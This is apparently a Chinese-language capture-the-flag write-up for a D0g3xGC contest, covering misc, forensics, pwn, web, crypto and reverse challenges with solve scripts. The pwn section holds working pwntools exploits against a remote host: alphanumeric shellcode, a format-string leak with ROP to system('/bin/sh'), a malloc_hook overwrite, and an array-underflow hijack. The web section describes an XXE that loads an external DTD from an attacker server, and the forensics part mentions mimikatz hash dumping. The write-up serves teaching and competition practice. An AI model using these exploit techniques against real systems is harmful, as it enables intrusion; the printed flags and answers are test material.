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misc

Tr4ffIc_w1th_Ste90

解压压缩包得到一个password.pacpng，追踪UDP流，复制原始Hex数据，Cyberchef转一下

然后下载到本地改后缀为.264，VLC打开可以得到压缩包的解压密码：!t15tH3^pAs5W#RD*f0RFL@9

解压压缩包可以得到一张图片和一个加密代码，遛一遛GPT写一个解密代码

import numpy as np
import cv2
import sys
import os
def decode(input_image, output_dir, seed_range):
    to_recover = cv2.imread(input_image, cv2.IMREAD_GRAYSCALE)
    
    if to_recover is None:
        print(f"Error: Unable to load image {input_image}")
        exit(1)
    to_recover_array = np.asarray(to_recover)
    
    # Loop through all possible seeds in the given range
    for seed in seed_range:
        np.random.seed(seed)
        
        row_indices = list(range(to_recover_array.shape[0]))
        col_indices = list(range(to_recover_array.shape[1]))
        # Reverse shuffle the row and column indices
        np.random.shuffle(row_indices)
        np.random.shuffle(col_indices)
        
        row_reverse = np.argsort(row_indices)
        col_reverse = np.argsort(col_indices)
        
        # Reverse the row and column shuffling
        recovered_image = to_recover_array[row_reverse, :]
        recovered_image = recovered_image[:, col_reverse]
        # Save the decoded image with the current seed as part of the filename
        output_image = os.path.join(output_dir, f"recovered_seed_{seed}.png")
        cv2.imwrite(output_image, recovered_image)
        print(f"Decoded image saved as {output_image}")
        # Add a check here if the result is good enough (e.g., using some similarity measure)
        # For example, you could compare pixel-wise similarity or use image metrics like SSIM
        # If a match is found, you can break the loop and stop further processing
def main():
    if len(sys.argv) != 4:
        print('error! Please provide input image path, output directory, and seed range as command-line arguments.')
        exit(1)
    
    input_image = sys.argv[1]
    output_dir = sys.argv[2]
    seed_start = int(sys.argv[3].split('-')[0])  # start of seed range
    seed_end = int(sys.argv[3].split('-')[1])    # end of seed range
    
    if not os.path.exists(output_dir):
        os.makedirs(output_dir)
    seed_range = range(seed_start, seed_end + 1)
    decode(input_image, output_dir, seed_range)
if __name__ == '__main__':
    main()

爆破一下seed就行：python decode.py encoded.png ./recovered_images 0-1000

然后可以得到一张DataMatrix，在线网站扫码可以得到如下内容

I randomly found a word list to encrypt the flag. I only remember that Wikipedia said this word list is similar to the NATO phonetic alphabet.

crumpled chairlift freedom chisel island dashboard crucial kickoff crucial chairlift drifter classroom highchair cranky clamshell edict drainage fallout clamshell chatter chairlift goldfish chopper eyetooth endow chairlift edict eyetooth deadbolt fallout egghead chisel eyetooth cranky crucial deadbolt chatter chisel egghead chisel crumpled eyetooth clamshell deadbolt chatter chopper eyetooth classroom chairlift fallout drainage klaxon

然后找个PGP词汇表解密脚本解密一下即可得到flag

参考链接：https://gryffinbit.top/2020/11/14/%E4%B8%80%E4%BA%9B%E6%9D%82%E4%B9%B1%E7%9A%84%E5%AF%86%E7%A0%81/#PGP%E8%AF%8D%E6%B1%87%E8%A1%A8-%EF%BC%88%E7%94%9F%E7%89%A9%E8%AF%86%E5%88%AB%E8%AF%8D%E6%B1%87%E8%A1%A8%EF%BC%89

aaa=[
["00","aardvark","adroitness"],
["01","absurd","adviser"],
["02","accrue","aftermath"],
["03","acme","aggregate"],
["04","adrift","alkali"],
["05","adult","almighty"],
["06","afflict","amulet"],
["07","ahead","amusement"],
["08","aimless","antenna"],
["09","Algol","applicant"],
["0A","allow","Apollo"],
["0B","alone","armistice"],
["0C","ammo","article"],
["0D","ancient","asteroid"],
["0E","apple","Atlantic"],
["0F","artist","atmosphere"],
["10","assume","autopsy"],
["11","Athens","Babylon"],
["12","atlas","backwater"],
["13","Aztec","barbecue"],
["14","baboon","belowground"],
["15","backfield","bifocals"],
["16","backward","bodyguard"],
["17","banjo","bookseller"],
["18","beaming","borderline"],
["19","bedlamp","bottomless"],
["1A","beehive","Bradbury"],
["1B","beeswax","bravado"],
["1C","befriend","Brazilian"],
["1D","Belfast","breakaway"],
["1E","berserk","Burlington"],
["1F","billiard","businessman"],
["20","bison","butterfat"],
["21","blackjack","Camelot"],
["22","blockade","candidate"],
["23","blowtorch","cannonball"],
["24","bluebird","Capricorn"],
["25","bombast","caravan"],
["26","bookshelf","caretaker"],
["27","brackish","celebrate"],
["28","breadline","cellulose"],
["29","breakup","certify"],
["2A","brickyard","chambermaid"],
["2B","briefcase","Cherokee"],
["2C","Burbank","Chicago"],
["2D","button","clergyman"],
["2E","buzzard","coherence"],
["2F","cement","combustion"],
["30","chairlift","commando"],
["31","chatter","company"],
["32","checkup","component"],
["33","chisel","concurrent"],
["34","choking","confidence"],
["35","chopper","conformist"],
["36","Christmas","congregate"],
["37","clamshell","consensus"],
["38","classic","consulting"],
["39","classroom","corporate"],
["3A","cleanup","corrosion"],
["3B","clockwork","councilman"],
["3C","cobra","crossover"],
["3D","commence","crucifix"],
["3E","concert","cumbersome"],
["3F","cowbell","customer"],
["40","crackdown","Dakota"],
["41","cranky","decadence"],
["42","crowfoot","December"],
["43","crucial","decimal"],
["44","crumpled","designing"],
["45","crusade","detector"],
["46","cubic","detergent"],
["47","dashboard","determine"],
["48","deadbolt","dictator"],
["49","deckhand","dinosaur"],
["4A","dogsled","direction"],
["4B","dragnet","disable"],
["4C","drainage","disbelief"],
["4D","dreadful","disruptive"],
["4E","drifter","distortion"],
["4F","dropper","document"],
["50","drumbeat","embezzle"],
["51","drunken","enchanting"],
["52","Dupont","enrollment"],
["53","dwelling","enterprise"],
["54","eating","equation"],
["55","edict","equipment"],
["56","egghead","escapade"],
["57","eightball","Eskimo"],
["58","endorse","everyday"],
["59","endow","examine"],
["5A","enlist","existence"],
["5B","erase","exodus"],
["5C","escape","fascinate"],
["5D","exceed","filament"],
["5E","eyeglass","finicky"],
["5F","eyetooth","forever"],
["60","facial","fortitude"],
["61","fallout","frequency"],
["62","flagpole","gadgetry"],
["63","flatfoot","Galveston"],
["64","flytrap","getaway"],
["65","fracture","glossary"],
["66","framework","gossamer"],
["67","freedom","graduate"],
["68","frighten","gravity"],
["69","gazelle","guitarist"],
["6A","Geiger","hamburger"],
["6B","glitter","Hamilton"],
["6C","glucose","handiwork"],
["6D","goggles","hazardous"],
["6E","goldfish","headwaters"],
["6F","gremlin","hemisphere"],
["70","guidance","hesitate"],
["71","hamlet","hideaway"],
["72","highchair","holiness"],
["73","hockey","hurricane"],
["74","indoors","hydraulic"],
["75","indulge","impartial"],
["76","inverse","impetus"],
["77","involve","inception"],
["78","island","indigo"],
["79","jawbone","inertia"],
["7A","keyboard","infancy"],
["7B","kickoff","inferno"],
["7C","kiwi","informant"],
["7D","klaxon","insincere"],
["7E","locale","insurgent"],
["7F","lockup","integrate"],
["80","merit","intention"],
["81","minnow","inventive"],
["82","miser","Istanbul"],
["83","Mohawk","Jamaica"],
["84","mural","Jupiter"],
["85","music","leprosy"],
["86","necklace","letterhead"],
["87","Neptune","liberty"],
["88","newborn","maritime"],
["89","nightbird","matchmaker"],
["8A","Oakland","maverick"],
["8B","obtuse","Medusa"],
["8C","offload","megaton"],
["8D","optic","microscope"],
["8E","orca","microwave"],
["8F","payday","midsummer"],
["90","peachy","millionaire"],
["91","pheasant","miracle"],
["92","physique","misnomer"],
["93","playhouse","molasses"],
["94","Pluto","molecule"],
["95","preclude","Montana"],
["96","prefer","monument"],
["97","preshrunk","mosquito"],
["98","printer","narrative"],
["99","prowler","nebula"],
["9A","pupil","newsletter"],
["9B","puppy","Norwegian"],
["9C","python","October"],
["9D","quadrant","Ohio"],
["9E","quiver","onlooker"],
["9F","quota","opulent"],
["A0","ragtime","Orlando"],
["A1","ratchet","outfielder"],
["A2","rebirth","Pacific"],
["A3","reform","pandemic"],
["A4","regain","Pandora"],
["A5","reindeer","paperweight"],
["A6","rematch","paragon"],
["A7","repay","paragraph"],
["A8","retouch","paramount"],
["A9","revenge","passenger"],
["AA","reward","pedigree"],
["AB","rhythm","Pegasus"],
["AC","ribcage","penetrate"],
["AD","ringbolt","perceptive"],
["AE","robust","performance"],
["AF","rocker","pharmacy"],
["B0","ruffled","phonetic"],
["B1","sailboat","photograph"],
["B2","sawdust","pioneer"],
["B3","scallion","pocketful"],
["B4","scenic","politeness"],
["B5","scorecard","positive"],
["B6","Scotland","potato"],
["B7","seabird","processor"],
["B8","select","provincial"],
["B9","sentence","proximate"],
["BA","shadow","puberty"],
["BB","shamrock","publisher"],
["BC","showgirl","pyramid"],
["BD","skullcap","quantity"],
["BE","skydive","racketeer"],
["BF","slingshot","rebellion"],
["C0","slowdown","recipe"],
["C1","snapline","recover"],
["C2","snapshot","repellent"],
["C3","snowcap","replica"],
["C4","snowslide","reproduce"],
["C5","solo","resistor"],
["C6","southward","responsive"],
["C7","soybean","retraction"],
["C8","spaniel","retrieval"],
["C9","spearhead","retrospect"],
["CA","spellbind","revenue"],
["CB","spheroid","revival"],
["CC","spigot","revolver"],
["CD","spindle","sandalwood"],
["CE","spyglass","sardonic"],
["CF","stagehand","Saturday"],
["D0","stagnate","savagery"],
["D1","stairway","scavenger"],
["D2","standard","sensation"],
["D3","stapler","sociable"],
["D4","steamship","souvenir"],
["D5","sterling","specialist"],
["D6","stockman","speculate"],
["D7","stopwatch","stethoscope"],
["D8","stormy","stupendous"],
["D9","sugar","supportive"],
["DA","surmount","surrender"],
["DB","suspense","suspicious"],
["DC","sweatband","sympathy"],
["DD","swelter","tambourine"],
["DE","tactics","telephone"],
["DF","talon","therapist"],
["E0","tapeworm","tobacco"],
["E1","tempest","tolerance"],
["E2","tiger","tomorrow"],
["E3","tissue","torpedo"],
["E4","tonic","tradition"],
["E5","topmost","travesty"],
["E6","tracker","trombonist"],
["E7","transit","truncated"],
["E8","trauma","typewriter"],
["E9","treadmill","ultimate"],
["EA","Trojan","undaunted"],
["EB","trouble","underfoot"],
["EC","tumor","unicorn"],
["ED","tunnel","unify"],
["EE","tycoon","universe"],
["EF","uncut","unravel"],
["F0","unearth","upcoming"],
["F1","unwind","vacancy"],
["F2","uproot","vagabond"],
["F3","upset","vertigo"],
["F4","upshot","Virginia"],
["F5","vapor","visitor"],
["F6","village","vocalist"],
["F7","virus","voyager"],
["F8","Vulcan","warranty"],
["F9","waffle","Waterloo"],
["FA","wallet","whimsical"],
["FB","watchword","Wichita"],
["FC","wayside","Wilmington"],
["FD","willow","Wyoming"],
["FE","woodlark","yesteryear"],
["FF","Zulu","Yucatan"]]
_string = "crumpled chairlift freedom chisel island dashboard crucial kickoff crucial chairlift drifter classroom highchair cranky clamshell edict drainage fallout clamshell chatter chairlift goldfish chopper eyetooth endow chairlift edict eyetooth deadbolt fallout egghead chisel eyetooth cranky crucial deadbolt chatter chisel egghead chisel crumpled eyetooth clamshell deadbolt chatter chopper eyetooth classroom chairlift fallout drainage klaxon"
def tihuan(s):
    for i in aaa:
        s = s.replace(i[1],i[0])
        s = s.replace(i[2],i[0])
    return s
bbb = tihuan(_string)
print(bbb)
ccc = bbb.split(" ")
ddd = ""
for i in ccc:
    ddd+=chr(int(i,16))
print(ddd)

D0g3xGC{C0N9rA7ULa710n5_Y0U_HaV3_ACH13V3D_7H15_90aL}

Just_F0r3n51Cs

1.一进来桌面有个流量包，

导出这个内容，发现是个图片

最后有部分加密内容，那段base64是oursecret is D0g3xGC

有个加密方式是oursecret

知道了ECB的key

然后通过流量找到qq

下面是密文，解密

1. 系统环境变量中提示flag2的位置

是个zip

注册表这里标明系统信息

D0g3xGC_Windows_7_Ultimate_115.0

解压获得flag

1. 图库下有水印照片以及原照片

Original.zip密码

通过mimikatz抓取得到哈希，并得到最终密码qwe123!@#

firefox上能看见otterctf密码

用CatWatermark解水印

1. 在C:\Users\D0g3xGC下有flag4.zip，里面的enc_png是用python封装的，解一下就能看里面的逻辑了

反编译上面得到的pyc

#!/usr/bin/env python
visit https://tool.lu/pyc/ for more information
Version: Python 3.8
def xor_encrypt(data, key):
    encrypted_data = bytearray()
    for i in range(len(data)):
        encrypted_data.append(data[i] ^ key[i % len(key)])
    return encrypted_data
def read_file(file_path):
    pass
WARNING: Decompyle incomplete
def write_file(file_path, data):
    pass
WARNING: Decompyle incomplete
def encrypt_file(input_file_path, output_file_path, key):
    data = read_file(input_file_path)
    encrypted_data = xor_encrypt(data, key)
    write_file(output_file_path, encrypted_data)
if name == '__main__':
    key = b'GCcup_wAngwaNg!!'
    input_file = 'flag4.png'
    encrypted_file = 'flag4_encrypted.bin'
    encrypt_file(input_file, encrypted_file, key)

获得加密脚本，GPT写一个解密脚本

#!/usr/bin/env python
# Version: Python 3.8
def xor_decrypt(encrypted_data, key):
    decrypted_data = bytearray()
    for i in range(len(encrypted_data)):
        decrypted_data.append(encrypted_data[i] ^ key[i % len(key)])
    return decrypted_data
def read_file(file_path):
    with open(file_path, 'rb') as f:
        return f.read()
def write_file(file_path, data):
    with open(file_path, 'wb') as f:
        f.write(data)
def decrypt_file(input_file_path, output_file_path, key):
    encrypted_data = read_file(input_file_path)
    decrypted_data = xor_decrypt(encrypted_data, key)
    write_file(output_file_path, decrypted_data)
if __name__ == '__main__':
    key = b'GCcup_wAngwaNg!!'
    input_file = 'flag4_encrypted.bin'
    decrypted_file = 'flag4_decrypted.png'
    decrypt_file(input_file, decrypted_file, key)

获得flag4

pwn

Alpha_Shell

没法反编译，

> python2 ./ALPHA3.py x64 ascii mixedcase rax --input="sandbox.bin"
QXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjKTYfi9630t800T810T860T870T880t8B0T8J0T8K0T8L0T8M0T8O0T8P0T8T0T8U0T8V0T8W0t8b0T8g0T8h0T8i0T8j0T8n0T8oRAPZ0t8C0t8E0t8H0t8R0t8S0t8Y0t8Z0t8c0t8e0t8fZRAQZ0T8lZjNTYfi9yb0t800t820T8O0T8P0T8Q0T8R0T8TRAPZ0t83ZHpzflagUUUPH17HKodHAf1RM1RhTTUUXZPHGGTUUUHGFVUUUjUHAbIGBUTUUjqXZP#

直接拿下

from pwn import *
from struct import pack
from ctypes import *
def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#p=process("./pwn1")
p=remote("125.70.243.22",31585)
elf=ELF("./pwn1")
p.recvuntil("Radiant powers, deadly tech. Here we go!")
payload=b'QXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjKTYfi9630t800T810T860T870T880t8B0T8J0T8K0T8L0T8M0T8O0T8P0T8T0T8U0T8V0T8W0t8b0T8g0T8h0T8i0T8j0T8n0T8oRAPZ0t8C0t8E0t8H0t8R0t8S0t8Y0t8Z0t8c0t8e0t8fZRAQZ0T8lZjNTYfi9yb0t800t820T8O0T8P0T8Q0T8R0T8TRAPZ0t83ZHpzflagUUUPH17HKodHAf1RM1RhTTUUXZPHGGTUUUHGFVUUUjUHAbIGBUTUUjqXZP'
p.send(payload)
inter()

Offensive_Security

这道题自己搞了一个 Libc，然后把一些函数写进 libc 里面了

用格式化字符串可以把密码和libc泄露出去，直接打就可以了

除此之外注意一下多线程的调试技巧就好

from pwn import *
from struct import pack
from ctypes import *
def debug(c=None):
    if c:
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context.update(arch='amd64', os='linux')
p = process('./pwn2') 
p.recvuntil(b'Username:')
p.send(b'%7$s')
p.recvuntil(b'Welcome, \n')
password = u64(p.recv(8))
libc_leak = p.recv(6).ljust(8, b'\x00')
libc_base = u64(libc_leak) - 0x21b780
system, bin_sh = get_sb()
p.success(f"Leaked password: {password}")
p.success(f"Libc base address: {hex(libc_base)}")
p.recvuntil(b'password: \n')
p.send(p64(password))
p.sendline("1111")
p.recvuntil("authentication code:")
p.sendline("1111")
p.recvuntil(b'>\n')
rdi = 0x0000000000400661
payload = b'a' * 0x28
payload += p64(rdi + 1)
payload += p64(rdi)
payload += p64(bin_sh)
payload += p64(system)
p.sendline(payload)
p.interactive()

vtable_hijack

2.23版本的uaf+功能齐全。直接one_gadget打malloc_hook梭掉

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p=remote("125.70.243.22",31400)
elf = ELF('./pwn')
libc = ELF('libc.so.6')
def create(idx, size):
    sla(b'choice:\n', b'1')
    sla(b'index:\n', str(idx))
    sla(b'size:\n', str(size))
def delete(idx):
    sla(b'choice:\n', b'2')
    sla(b'index:\n', str(idx))
def show(idx):
    sla(b'choice:\n', b'4')
    sla(b'index:\n', str(idx))
def edit(idx, data):
    sla(b'choice:\n', b'3')
    sla(b'index:\n', str(idx))
    sla(b'length:\n',str(len(data)))
    sa(b'content:\n', data)
create(0, 0x80)
create(1, 0x10)
delete(0)
show(0)
libc_base = uu64() - 0x68 - libc.sym['__malloc_hook']
lg('libc_base',libc_base)
system, binsh = get_sb()
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
ogg = libc_base + 0xd5c07
create(3, 0x60)
create(4, 0x60)
delete(4)
delete(3)
# fastbinY[0x70] -> chunk3 -> chunk4
edit(3, p64(malloc_hook - 0x23))
create(5, 0x60)
create(6, 0x60)
edit(6, b'\x00'*0xb + p64(ogg) + p64(ogg))
#debug('b *$rebase(0x13b1)')
create(7, 0x10)
#pause()
lg('libc_base', libc_base)
#debug()
inter()

beverage store

数组负溢出

from pwn import *
from struct import pack
import ctypes
def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
p=remote("125.70.243.22",31378)
p.recvuntil(b"input yours id")
p.sendline(b'a')
libc=ELF("./libc.so.6")
cdll=ctypes.CDLL("./libc.so.6")
cdll.srand(cdll.time(0))
p.recvuntil("Input yours id authentication code:")
p.sendline(str(cdll.rand()))
p.recvuntil(b'4 wine')
p.sendline(str(-4))
p.recvuntil(b'which one to choose')
pay=p64(0x40133B)
p.send(pay)
p.recvuntil(b'wine')
p.sendline(str(-7))
p.send(b'a'*8)
p.recvuntil(b'succeed')
p.recvuntil(b'a'*8)
libc_base=u64(p.recv(6).ljust(8, b'\x00'))-0x1147d0
print(hex(libc_base))
system=libc_base+libc.sym["system"]
p.recvuntil(b'4 wine')
p.sendline(str(-7))
p.send(p64(system))
p.recvuntil(b'4 wine')
p.sendline(str(-4))
p.recvuntil(b'which one to choose')
pay=p64(0x401511)
p.send(pay)
p.interactive()

web

Easy Jelly

应该是非预期解

这里明显的XXE，也没有禁止外部实体。

private static Boolean check(String uri) throws IOException, ParserConfigurationException, SAXException {
   DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
   dbf.setNamespaceAware(true);
   DocumentBuilder builder = dbf.newDocumentBuilder();
   Document doc = builder.parse(uri);
   int tag1 = doc.getElementsByTagNameNS("*", "expr").getLength();
   int tag2 = doc.getElementsByTagNameNS("*", "import").getLength();
   int tag3 = doc.getElementsByTagNameNS("*", "include").getLength();
   int tag4 = doc.getElementsByTagNameNS("*", "invoke").getLength();
   int tag5 = doc.getElementsByTagNameNS("*", "invokeStatic").getLength();
   int tag6 = doc.getElementsByTagNameNS("*", "new").getLength();
   int tag7 = doc.getElementsByTagNameNS("*", "parse").getLength();
   int tag8 = doc.getElementsByTagNameNS("*", "set").getLength();
   int tag9 = doc.getElementsByTagNameNS("*", "setProperties").getLength();
   int tag10 = doc.getElementsByTagNameNS("*", "out").getLength();
   int tag11 = doc.getElementsByTagNameNS("*", "useBean").getLength();
   return tag1 <= 0 && tag2 <= 0 && tag3 <= 0 && tag4 <= 0 && tag5 <= 0 && tag6 <= 0 && tag7 <= 0 && tag8 <= 0 && tag9 <= 0 && tag10 <= 0 && tag11 <= 0 ? true : false;
}

flag有权限直接读flag就完事了。

post /jelly: uri=http://xxx.xxx.xxx.xxx:19001/1.xml

1.xml：

test.dtd：

Crypto

Curve

      
#sagemath
from Crypto.Util.number import *
def add(P, Q):
    (x1, y1) = P
    (x2, y2) = Q
    x3 = (x1*y2 + y1*x2) * inverse(1 + d*x1*x2*y1*y2, p) % p
    y3 = (y1*y2 - a*x1*x2) * inverse(1 - d*x1*x2*y1*y2, p) % p
    return (x3, y3)
def mul(x, P):
    Q = (0, 1)
    while x > 0:
        if x % 2 == 1:
            Q = add(Q, P)
        P = add(P, P)
        x = x >> 1
    return Q
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 7
e=0x10001
gx=bytes_to_long(b'D0g3xGC{*****************}')
PR.<y>=PolynomialRing(Zmod(p))
f=(d*gx^2-1)*y^2+(1-a*gx^2)
gy=int(f.roots()[0][0])
assert (a*gx^2+gy^2)%p==(1+d*gx^2*gy^2)%p
G=(gx,gy)
eG = mul(e, G)
print(eG)
#eG = (34120664973166619886120801966861368419497948422807175421202190709822232354059, 11301243831592615312624457443883283529467532390028216735072818875052648928463)

babyRSA

//参考题目：https://www.cnblogs.com/Lovechan/articles/17704931.html
import math
n = 539403894871945779827202174061302970341082455928364137444962844359039924160163196863639732747261316352083923762760392277536591121706270680734175544093484423564223679628430671167864783270170316881238613070741410367403388936640139281272357761773388084534717028640788227350254140821128908338938211038299089224967666902522698905762169859839320277939509727532793553875254243396522340305880944219886874086251872580220405893975158782585205038779055706441633392356197489
d = 58169755386408729394668831947856757060407423126014928705447058468355548861569452522734305188388017764321018770435192767746145932739423507387500606563617116764196418533748380893094448060562081543927295828007016873588530479985728135015510171217414380395169021607415979109815455365309760152218352878885075237009
c = 82363935080688828403687816407414245190197520763274791336321809938555352729292372511750720874636733170318783864904860402219217916275532026726988967173244517058861515301795651235356589935260088896862597321759820481288634232602161279508285376396160040216717452399727353343286840178630019331762024227868572613111538565515895048015318352044475799556833174329418774012639769680007774968870455333386419199820213165698948819857171366903857477182306178673924861370469175
x = math.gcd(n,pow(2,n*d,n)-2)
m = pow(c,d,x)
print(bytes.fromhex(hex(m)[2:]))

from secret import flag
from Crypto.Util.number import*
from gmpy2 import*
flag = b'D0g3xGC{****************}'
def gen_key(p, q):
    public_key = p*p*q
    e = public_key
    n = p*q
    phi_n = (p-1)*(q-1)
    private_key = inverse(e,phi_n)
    return public_key,private_key,e
p = getPrime(512)
q = getPrime(512)
N,d,e = gen_key(p,q)
c = gmpy2.powmod(bytes_to_long(flag),e,N)
print(N)
print(d)
print(c)
'''
n = 539403894871945779827202174061302970341082455928364137444962844359039924160163196863639732747261316352083923762760392277536591121706270680734175544093484423564223679628430671167864783270170316881238613070741410367403388936640139281272357761773388084534717028640788227350254140821128908338938211038299089224967666902522698905762169859839320277939509727532793553875254243396522340305880944219886874086251872580220405893975158782585205038779055706441633392356197489
d = 58169755386408729394668831947856757060407423126014928705447058468355548861569452522734305188388017764321018770435192767746145932739423507387500606563617116764196418533748380893094448060562081543927295828007016873588530479985728135015510171217414380395169021607415979109815455365309760152218352878885075237009
c = 82363935080688828403687816407414245190197520763274791336321809938555352729292372511750720874636733170318783864904860402219217916275532026726988967173244517058861515301795651235356589935260088896862597321759820481288634232602161279508285376396160040216717452399727353343286840178630019331762024227868572613111538565515895048015318352044475799556833174329418774012639769680007774968870455333386419199820213165698948819857171366903857477182306178673924861370469175
'''

Reverse

很明显就是SMC，动调看到加密函数，或者idapython，然后重新申明一下就好了

就是一个标准的xxtea。r=2，然后外层的while循环可知，是，每八个字节进行加密的，那就一样每八个字节进行解密就好了

加密后的结果

key

#include <stdio.h>
#include <string.h>
#include <stdint.h> 
#define DELTA 0x61C88647
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[((p&3)^e)&0xff] ^ z))) 
void btea(uint32_t* v, int n, const uint32_t key[4])
{
    uint32_t y, z, sum; 
    unsigned p, rounds, e; 
    if (n > 1)            
    { 
        rounds = 6 + 52 / n; 
        sum = 0; 
        z = v[n - 1]; 
        do 
        { 
            sum -= DELTA; 
            e = (sum >> 2) & 3; 
            for (p = 0; p < n - 1; p++) 
            { 
                y = v[p + 1]; 
                z = v[p] += MX; 
            } 
            y = v[0]; 
            z = v[n - 1] += MX; 
        } 
        while (--rounds); 
    } 
    else if (n < -1)      
    { 
        n = -n; 
        rounds = 6 + 52 / n; 
        sum = -rounds * DELTA; 
        y = v[0]; 
        do 
        { 
            e = (sum >> 2) & 3; 
            for (p = n - 1; p > 0; p--) 
            { 
                z = v[p - 1]; 
                y = v[p] -= MX; 
            } 
            z = v[n - 1]; 
            y = v[0] -= MX; 
            sum += DELTA; 
        } 
        while (--rounds); 
    } 
} 
int main() { 
    unsigned char v[] = {0x8A, 0x4F, 0x76, 0x5A, 
0x77, 0xDF, 0xB0, 0x05, 
};
    int r = 2; 
    uint32_t k[4];
  k[0] = 0x5201314;
  k[1] = 0x52013140;
  k[2] = 0x5201314;
  k[3] = 0x52013140;
    btea(((uint32_t*)v),-r,k); 
    for (int i = 0; i < 8; i++) { 
        printf("%c",v[i]); 
    } 
    return 0; 
}

懒得改代码了，就每次把v数组里的内容换一下就好了，就可以拿到flag了

结束